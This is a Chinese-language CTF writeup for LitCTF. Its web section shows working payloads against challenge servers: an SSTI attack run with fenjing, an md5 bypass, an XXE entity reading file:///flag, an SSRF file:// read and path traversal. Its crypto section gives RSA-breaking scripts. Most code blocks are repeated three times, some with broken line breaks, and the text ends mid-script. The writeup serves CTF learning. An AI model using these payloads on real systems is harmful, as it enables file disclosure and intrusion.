[LitCTF]cha0s-Writeup

7178819

前言

百万美元三血

AK WEB RE MISC方向

图片[1],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[2],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

->Web方向

一个池子?

猜测SSTI

图片[3],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

验证一下

图片[4],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

确定为ssti漏洞

图片[5],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

出的题很简单, 自从某场比赛ssti绕waf了一夜绕了出来,就再也没有难的ssti了

这题都不用手注 fenjing梭了…….

python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01
python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01
python -m fenjing crack -u http://node1.anna.nssctf.cn:28187/echo --method POST --inputs input --interval 0.01
图片[6],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[7],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[8],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

百万美元的诱惑

图片[9],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

三血

经典的绕过a不等于b 但a的md5必须和b的md5一样

比赛已经出现过很多次这样的题了

?a=QNKCDZO&b=s878926199a

下面一个c用2025e绕过

整体payload

?a=QNKCDZO&b=s878926199a&c=2025e

图片[10],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

进入dollar.php

图片[11],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

无数字无字母构造12

这里使用$(())构造

图片[12],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

某show的相似题具体分析过程可看

[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
[CTFshow]Web命令执行章节之[53-68]笔记,网络安全爱好者中心-神域博客网
[CTFshow]Web命令执行章节之[53-68]笔记
阿尔法神域的头像,网络安全爱好者中心-神域博客网1年前
03229
图片[13],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

这里构造12个 *13即可

get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"    # -1
payload = get_reverse_number.format(negative_one*13)
print(payload)
get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"    # -1
payload = get_reverse_number.format(negative_one*13)
print(payload)
get_reverse_number = "$((~$(({}))))" # 取反操作
negative_one = "$((~$(())))"		# -1
payload = get_reverse_number.format(negative_one*13)
print(payload)

发送之后查看源代码

图片[14],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[15],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

浏览器也能套娃

图片[16],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

这里只能读取本地的 的url 猜测 SSRF

图片[17],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

file:///flag

图片[18],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

SAS – Serializing Authentication System

图片[19],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

只需要username=admin password=secure_password让后base64序列化即可

<?php
class User {
    public $username='admin';
    public $password='secure_password';
    function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }
}
$a=new User("admin","secure_password");
$b=serialize($a);
$c=base64_encode($b);
echo $c;
?>
<?php

class User {

    public $username='admin';

    public $password='secure_password';

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}
$a=new User("admin","secure_password");
$b=serialize($a);
$c=base64_encode($b);
echo $c;
?>
<?php

class User {

    public $username='admin';

    public $password='secure_password';

    function __construct($username, $password) {

        $this->username = $username;

        $this->password = $password;

    }

    function isValid() { return $this->username === 'admin' && $this->password === 'secure_password'; }

}
$a=new User("admin","secure_password");
$b=serialize($a);
$c=base64_encode($b);
echo $c;
?>
图片[20],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[21],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

exx

图片[22],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

查看源代码

图片[23],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

xxe注入

账号密码登录之后bp抓一下包

替换一下post的内容

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username><password>&xxe;</password></user>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

<user><username>&xxe;</username><password>&xxe;</password></user>
图片[24],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

高亮主题(划掉)背景查看器

尝试抓个包，看到

图片[25],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28997
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://node2.anna.nssctf.cn:28997
Connection: close
Referer: http://node2.anna.nssctf.cn:28997/
Cookie:
Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210
; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210
Upgrade-Insecure-Requests: 1
Priority: u=1
theme=theme1.php
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28997
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://node2.anna.nssctf.cn:28997
Connection: close
Referer: http://node2.anna.nssctf.cn:28997/
Cookie:
Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210
; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210
Upgrade-Insecure-Requests: 1
Priority: u=1

theme=theme1.php
POST / HTTP/1.1
Host: node2.anna.nssctf.cn:28997
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://node2.anna.nssctf.cn:28997
Connection: close
Referer: http://node2.anna.nssctf.cn:28997/
Cookie:
Hm_lvt_648a44a949074de73151ffaa0a832aec=1715590891,1715596028,1715825320,1717205210
; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1717205210
Upgrade-Insecure-Requests: 1
Priority: u=1

theme=theme1.php

发现url请求被过滤..符号，但是这里还是可以进行文件读取，POST请求了theme=theme1.php
于是在此页面构造 theme=../../../../../flag，成功读取flag

图片[26],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

->Crypto方向

CRT

观察脚本,发现可以利用广播攻击:

图片[27],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

sage脚本

from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的模数 n 和密文列表 c_list n =
190411380939157573614465969176188364243212328104900874455580834466648946228827266
131542054359933586577117812757355594092748196188241730429805569860388954077580625
498196080546133073998384088678556236477513224141901741115235953701136647295944202
597548068346564904172921749943376836765043274931030185062429630636713156054278670
548735077203428500383075170166876594359745620249735317172747591935774505562928214
103882682433049967203373948297264536804327510929555755123725826246947092890194029
089864297091164415443323277389687854285016652548944446515476230085307083432106448
14773933974042816703834571427534684321229977525229
c_list = [
438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
# 解密函数
def decrypt_rsa_low_exponent(c_list, n): decrypted_message = ''
for c in c_list:
# 利用立方根求解
m, exact = iroot(c, 3) if exact:
decrypted_message += long_to_bytes(m).decode('utf-8') else:
raise ValueError("无法解密！")
return decrypted_message
# 解密密文列表
try:
flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag)
except ValueError as e: print(e)
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的模数 n 和密文列表 c_list n =
190411380939157573614465969176188364243212328104900874455580834466648946228827266
131542054359933586577117812757355594092748196188241730429805569860388954077580625
498196080546133073998384088678556236477513224141901741115235953701136647295944202
597548068346564904172921749943376836765043274931030185062429630636713156054278670
548735077203428500383075170166876594359745620249735317172747591935774505562928214
103882682433049967203373948297264536804327510929555755123725826246947092890194029
089864297091164415443323277389687854285016652548944446515476230085307083432106448
14773933974042816703834571427534684321229977525229
c_list = [
438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
# 解密函数
def decrypt_rsa_low_exponent(c_list, n): decrypted_message = ''
for c in c_list:
# 利用立方根求解
m, exact = iroot(c, 3) if exact:
decrypted_message += long_to_bytes(m).decode('utf-8') else:
raise ValueError("无法解密！")
return decrypted_message
# 解密密文列表
try:
flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag)
except ValueError as e: print(e)
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的模数 n 和密文列表 c_list n =
190411380939157573614465969176188364243212328104900874455580834466648946228827266
131542054359933586577117812757355594092748196188241730429805569860388954077580625
498196080546133073998384088678556236477513224141901741115235953701136647295944202
597548068346564904172921749943376836765043274931030185062429630636713156054278670
548735077203428500383075170166876594359745620249735317172747591935774505562928214
103882682433049967203373948297264536804327510929555755123725826246947092890194029
089864297091164415443323277389687854285016652548944446515476230085307083432106448
14773933974042816703834571427534684321229977525229
c_list = [
438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
# 解密函数
def decrypt_rsa_low_exponent(c_list, n): decrypted_message = ''
for c in c_list:
# 利用立方根求解
m, exact = iroot(c, 3) if exact:
decrypted_message += long_to_bytes(m).decode('utf-8') else:
raise ValueError("无法解密！")
return decrypted_message
# 解密密文列表
try:
flag = decrypt_rsa_low_exponent(c_list, n) print("Decrypted message:", flag)
except ValueError as e: print(e)

small_e

使用低指数攻击来解密提供的密文
列表c_List。直接求每个密文的立方根，转换为字符来得到flag

图片[28],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
图片[29],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
# 给定的模数 n 和密文列表 c_list
n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
c_list = [
    438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
    1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
    1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
    970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
    1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]
# 解密函数
def decrypt_rsa_low_exponent(c_list, n):
    decrypted_message = ''
    for c in c_list:
        # 利用立方根求解
        m, exact = iroot(c, 3)
        if exact:
            decrypted_message += long_to_bytes(m).decode('utf-8')
        else:
            raise ValueError("无法解密！")
    return decrypted_message
# 解密密文列表
try:
    flag = decrypt_rsa_low_exponent(c_list, n)
    print("Decrypted message:", flag)
except ValueError as e:
    print(e)
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

# 给定的模数 n 和密文列表 c_list
n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
c_list = [
    438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
    1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
    1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
    970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
    1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]

# 解密函数
def decrypt_rsa_low_exponent(c_list, n):
    decrypted_message = ''
    for c in c_list:
        # 利用立方根求解
        m, exact = iroot(c, 3)
        if exact:
            decrypted_message += long_to_bytes(m).decode('utf-8')
        else:
            raise ValueError("无法解密！")
    return decrypted_message

# 解密密文列表
try:
    flag = decrypt_rsa_low_exponent(c_list, n)
    print("Decrypted message:", flag)
except ValueError as e:
    print(e)
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

# 给定的模数 n 和密文列表 c_list
n = 19041138093915757361446596917618836424321232810490087445558083446664894622882726613154205435993358657711781275735559409274819618824173042980556986038895407758062549819608054613307399838408867855623647751322414190174111523595370113664729594420259754806834656490417292174994337683676504327493103018506242963063671315605427867054873507720342850038307517016687659435974562024973531717274759193577450556292821410388268243304996720337394829726453680432751092955575512372582624694709289019402908986429709116441544332327738968785428501665254894444651547623008530708343210644814773933974042816703834571427534684321229977525229
c_list = [
    438976, 1157625, 1560896, 300763, 592704, 343000, 1860867, 1771561,
    1367631, 1601613, 857375, 1225043, 1331000, 1367631, 1685159, 857375,
    1295029, 857375, 1030301, 1442897, 1601613, 140608, 1259712, 857375,
    970299, 1601613, 941192, 132651, 857375, 1481544, 1367631, 1367631,
    1560896, 857375, 110592, 1061208, 857375, 1331000, 1953125
]

# 解密函数
def decrypt_rsa_low_exponent(c_list, n):
    decrypted_message = ''
    for c in c_list:
        # 利用立方根求解
        m, exact = iroot(c, 3)
        if exact:
            decrypted_message += long_to_bytes(m).decode('utf-8')
        else:
            raise ValueError("无法解密！")
    return decrypted_message

# 解密密文列表
try:
    flag = decrypt_rsa_low_exponent(c_list, n)
    print("Decrypted message:", flag)
except ValueError as e:
    print(e)

common_primes

图片[30],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

共模攻击

两个RSA公钥模数和共享一个质因数 ，破解原密文整体思路：

通过计算两个给定模数 和 的最大公因数，找到它们的共享质因数

使用共享质因数分解和 ，得到另外两个质因数和

使用欧拉的 函数计算和的值这是后续计算私钥指数所需的中间值

通过计算公钥指数 在模和下的模反元素，得到私钥指数和

使用得到的私钥指数和,对相应的密文 和 进行解密，得到明文和

将解密得到的长整数转换为字节数组，解码为字符串 如果两个解密后的消息相同，输出解码后的 flag

图片[31],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

脚本

from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd
# 给定的模数和密文
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
e = 65537
# 计算共享质因数 p
p = int(gcd(n1, n2))
# 计算 q1 和 q2
q1 = n1 // p
q2 = n2 // p
# 计算 phi(n1) 和 phi(n2)
phi_n1 = (p - 1) * (q1 - 1)
phi_n2 = (p - 1) * (q2 - 1)
# 计算 d1 和 d2
d1 = inverse(e, phi_n1)
d2 = inverse(e, phi_n2)
# 解密消息 m1 和 m2
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
# 将解密后的长整数转换回字节
flag1 = long_to_bytes(m1)
flag2 = long_to_bytes(m2)
# 打印解密后的消息
print("Decrypted message from c1:", flag1)
print("Decrypted message from c2:", flag2)
# 打印解密后的消息中的 flag（假设 flag 存在于其中之一）
if flag1 == flag2:
    print("Flag:", flag1.decode())
else:
    print("Flag from c1:", flag1.decode())
    print("Flag from c2:", flag2.decode())
from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd

# 给定的模数和密文
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
e = 65537

# 计算共享质因数 p
p = int(gcd(n1, n2))

# 计算 q1 和 q2
q1 = n1 // p
q2 = n2 // p

# 计算 phi(n1) 和 phi(n2)
phi_n1 = (p - 1) * (q1 - 1)
phi_n2 = (p - 1) * (q2 - 1)

# 计算 d1 和 d2
d1 = inverse(e, phi_n1)
d2 = inverse(e, phi_n2)

# 解密消息 m1 和 m2
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)

# 将解密后的长整数转换回字节
flag1 = long_to_bytes(m1)
flag2 = long_to_bytes(m2)

# 打印解密后的消息
print("Decrypted message from c1:", flag1)
print("Decrypted message from c2:", flag2)

# 打印解密后的消息中的 flag（假设 flag 存在于其中之一）
if flag1 == flag2:
    print("Flag:", flag1.decode())
else:
    print("Flag from c1:", flag1.decode())
    print("Flag from c2:", flag2.decode())
from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd

# 给定的模数和密文
n1 = 63306931765261881888912008095340470978772999620205174857271016152744820165330787864800482852578992473814976781143226630412780924144266471891939661312715157811674817013479316983665960087664430205713509995750877665395721635625035356901765881750073584848176491668327836527294900831898083545883834181689919776769
n2 = 73890412251808619164803968217212494551414786402702497903464017254263780569629065810640215252722102084753519255771619560056118922616964068426636691565703046691711267156442562144139650728482437040380743352597966331370286795249123105338283013032779352474246753386108510685224781299865560425114568893879804036573
c1 = 11273036722994861938281568979042367628277071611591846129102291159440871997302324919023708593105900105417528793646809809850626919594099479505740175853342947734943586940152981298688146019253712344529086852083823837309492466840942593843720630113494974454498664328412122979195932862028821524725158358036734514252
c2 = 42478690444030101869094906005321968598060849172551382502632480617775125215522908666432583017311390935937075283150967678500354031213909256982757457592610576392121713817693171520657833496635639026791597219755461854281419207606460025156812307819350960182028395013278964809309982264879773316952047848608898562420
e = 65537

# 计算共享质因数 p
p = int(gcd(n1, n2))

# 计算 q1 和 q2
q1 = n1 // p
q2 = n2 // p

# 计算 phi(n1) 和 phi(n2)
phi_n1 = (p - 1) * (q1 - 1)
phi_n2 = (p - 1) * (q2 - 1)

# 计算 d1 和 d2
d1 = inverse(e, phi_n1)
d2 = inverse(e, phi_n2)

# 解密消息 m1 和 m2
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)

# 将解密后的长整数转换回字节
flag1 = long_to_bytes(m1)
flag2 = long_to_bytes(m2)

# 打印解密后的消息
print("Decrypted message from c1:", flag1)
print("Decrypted message from c2:", flag2)

# 打印解密后的消息中的 flag（假设 flag 存在于其中之一）
if flag1 == flag2:
    print("Flag:", flag1.decode())
else:
    print("Flag from c1:", flag1.decode())
    print("Flag from c2:", flag2.decode())

common_primes_plus

思路还是基于共模攻击，该攻击使用了两个 RSA 公钥（模数 n1 和 n2）共享的质因数 p。共享质因数的存在可以推导出 RSA 私钥并解密消息

from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd
# 已知值
n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053
hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627
hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976
c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632
e = 65537
# 通过 GCD 求得 p
p = gcd(hint1, hint2)
if p == 1:
    raise ValueError("Common factor p could not be found from given hints.")
# 计算 q1
q1 = n1 // p
# 计算 phi(n1)
phi_n1 = (p - 1) * (q1 - 1)
# 将 phi_n1 转换为标准整数
phi_n1 = int(phi_n1)
# 计算私钥指数 d1
d1 = inverse(e, phi_n1)
# 解密消息 m
m = pow(c, d1, n1)
# 将解密后的长整数转换回字节
flag = long_to_bytes(m)
# 打印解密后的消息
print("Decrypted message:", flag.decode())
from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd

# 已知值
n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053
hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627
hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976
c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632
e = 65537

# 通过 GCD 求得 p
p = gcd(hint1, hint2)
if p == 1:
    raise ValueError("Common factor p could not be found from given hints.")

# 计算 q1
q1 = n1 // p

# 计算 phi(n1)
phi_n1 = (p - 1) * (q1 - 1)

# 将 phi_n1 转换为标准整数
phi_n1 = int(phi_n1)

# 计算私钥指数 d1
d1 = inverse(e, phi_n1)

# 解密消息 m
m = pow(c, d1, n1)

# 将解密后的长整数转换回字节
flag = long_to_bytes(m)

# 打印解密后的消息
print("Decrypted message:", flag.decode())
from Crypto.Util.number import long_to_bytes, inverse
from sympy import gcd

# 已知值
n1 = 72619153900682160072296441595808393095979917106156741746523649725579328293061366133340736822282117284050717527134297532031234706715551253283030119063143935874516054785948327252045453986903379262257406260016876625891582923191913450785482873961282498295762698500898694660964018533698142756095427829906473038053
hint1 = 115150932086321440397498980975794957800400136337062771258224890596200580556053305338941267789684878816176014493153795643655219028833232337281425177163963414534998897852644398384446019097451620742463880027107068960452304016955877225140421899265978792650445328111566277376529454404089066088845864500514742797060500618255170627
hint2 = 166820160267525807953634213157298160399912450930658918773153592459310847514047652216110562360456335336533080444219104489314586122760398361430693763814336759476811490524054588094610387417965626546375189720748660483054863693527537614055954695966458622029711055735399842018236940424665041143785192280089418185085532002136215976
c = 28378912671104261862184597375842174085651209464660064937481961814538145807266472966765374317717522401362019901110151858589886717440587644003368826809403188935808872400614919296641885383025657934630410406898092262104442977722339379234085663757182028529198392480656965957860644395092769333414671609962801212632
e = 65537

# 通过 GCD 求得 p
p = gcd(hint1, hint2)
if p == 1:
    raise ValueError("Common factor p could not be found from given hints.")

# 计算 q1
q1 = n1 // p

# 计算 phi(n1)
phi_n1 = (p - 1) * (q1 - 1)

# 将 phi_n1 转换为标准整数
phi_n1 = int(phi_n1)

# 计算私钥指数 d1
d1 = inverse(e, phi_n1)

# 解密消息 m
m = pow(c, d1, n1)

# 将解密后的长整数转换回字节
flag = long_to_bytes(m)

# 打印解密后的消息
print("Decrypted message:", flag.decode())
图片[32],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

Polynomial

下载附件

图片[33],[LitCTF]cha0s-Writeup,网络安全爱好者中心-神域博客网

根据代码分析，这个CTF题目涉及基于一个使用了三个素数的RSA加密系统。通常的RSA加密系统使用两个素数（p 和 q）来计算模数 n，但在这个题目中，模数 n 是由三个素数 (p, q 和 r) 相乘得到的。我们的任务就是根据给定的多项式方程组和加密密文来解密消息

第一步：使用给定的多项式方程组，建立三个关于素数 p、q 和 r 的方程，通过求解这些方程来获取素数的值

第二步：使用求得的三个素数 p、q 和 r，计算出模数 n，φ(n)是欧拉函数，计算方式为 (p-1)*(q-1)*(r-1)，其中 p、q 和 r 是解密过程中求得的素数

第三步：使用模反元素公式计算私钥 d： d ≡ e^(-1) (mod φ(n))，其中 e 是公钥的指数，一般默认值为 65537

第四步：使用私钥 d 和 RSA 解密公式 m ≡ c^d (mod n)，得到解密后的消息 m 最后将解密出的长整数消息 m 转换为字节，并尝试解码为可读的文本

# 导入必要的库<br>from Cryptodome.Util.number import long_to_bytes, inverse<br>from sympy import symbols, solve<br><br># 给定的多项式方程的常数项<br>Polynomial1 = 58154360680755769340954893572401748667033313354117942223258370092578635555451803701875246040822675770820625484823955325325376503299610647282074512182673844099014723538935840345806279326671621834884174315042653272845859393720044076731894387316020043030549656441366838837625687203481896972821231596403741150142<br>Polynomial2 = 171692903673150731426296312524549271861303258108708311216496913475394189393793697817800098242049692305164782587880637516028827647505093628717337292578359337044168928317124830023051015272429945829345733688929892412065424786481363731277240073380880692592385413767327833405744609781605297684139130460468105300760<br>Polynomial3 = 97986346322515909710602796387982657630408165005623501811821116195049269186902123564611531712164389221482586560334051304898550068155631792198375385506099765648724724155022839470830188199666501947166597094066238209936082936786792764398576045555400742489416583987159603174056183635543796238419852007348207068832<br><br># 加密消息<br>c = 690029769225186609779381701643778761457138553080920444396078012690121613426213828722870549564971078807093600149349998980667982840018011505754141625901220546541212773327617562979660059608220851878701195162259632365509731746682263484332327620436394912873346114451271145412882158989824703847237437871480757404551113620810392782422053869083938928788602100916785471462523020232714027448069442708638323048761035121752395570167604059421559260760645061567883338223699900<br><br># 求解多项式方程，得到 p, q, r 的值<br>p, q, r = symbols('p q r', integer=True)  # 定义符号 p, q, r 为整数<br>eq1 = p**2 + q - Polynomial1  # 定义第一个多项式方程<br>eq2 = q**2 + r - Polynomial2  # 定义第二个多项式方程<br>eq3 = r**2 + p - Polynomial3  # 定义第三个多项式方程<br>solutions = solve((eq1, eq2, eq3), (p, q, r))  # 求解方程组，得到 p, q, r 的解<br><br># 选择合适的解<br>for solution in solutions:<br>    p = int(solution[0])<br>    q = int(solution[1])<br>    r = int(solution[2])<br>    if p*q*r < c:  # 验证解的正确性<br>        break<br><br># 计算模数 n 和欧拉函数 φ(n)<br>n = p * q * r  # 计算模数 n<br>phi = (p-1)*(q-1)*(r-1)  # 计算欧拉函数 φ(n)<br><br># 设置公钥指数和计算私钥<br>e = 65537  # 一般情况下，公钥指数 e 默认为 65537<br>d = inverse(e, phi)  # 计算私钥 d<br><br># 